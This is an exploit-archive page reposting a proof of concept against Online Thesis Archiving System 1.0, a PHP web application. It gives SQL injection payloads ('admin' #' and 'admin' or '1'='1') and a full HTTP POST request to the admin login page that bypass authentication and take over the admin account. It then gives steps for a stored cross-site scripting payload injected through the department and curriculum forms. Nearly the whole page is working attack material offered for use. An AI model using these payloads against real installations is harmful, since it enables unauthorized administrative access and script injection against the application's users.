Online thesis archiving system 1.0 sqli authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-12-14 | Type : webapps | Platform : php
This exploit / vulnerability Online thesis archiving system 1.0 sqli authentication bypass is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Online Thesis Archiving System 1.0 - SQLi Authentication Bypass
# Exploit Author: Yehia Elghaly (YME)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15083/online-thesis-archiving-system-using-phpoop-free-source-code.html
# Version: Online Thesis Archiving System 1.0
# Tested on: Windows, xampp
# CVE: N/A

- Description:SQLi Authentication Bypass
SQL Injection vulnerability exists in Online Thesis Archiving System 1.0 1.0. An admin account takeover exists with the payload: admin' # - admin' or '1'='1

PoC:

POST /otas/admin/login.php HTTP/1.1
Host: 192.168.113.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://192.168.113.130
DNT: 1
Connection: close
Referer: http://192.168.113.130/otas/admin/login.php
Cookie: PHPSESSID=0jsudph494kpt2a5jvbvdvsrsc
Upgrade-Insecure-Requests: 1

username=admin' #&password=admin' #

- Description: Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS) exists in Online Thesis Archiving System 1.0.

Steps:

1- Go to (http://localhost/otas/admin/?page=departments) and (http://localhost/otas/admin/?page=curriculum)
2- Add new (curriculum) or (department)
3- Insert your payload <script>("xssyf")</script>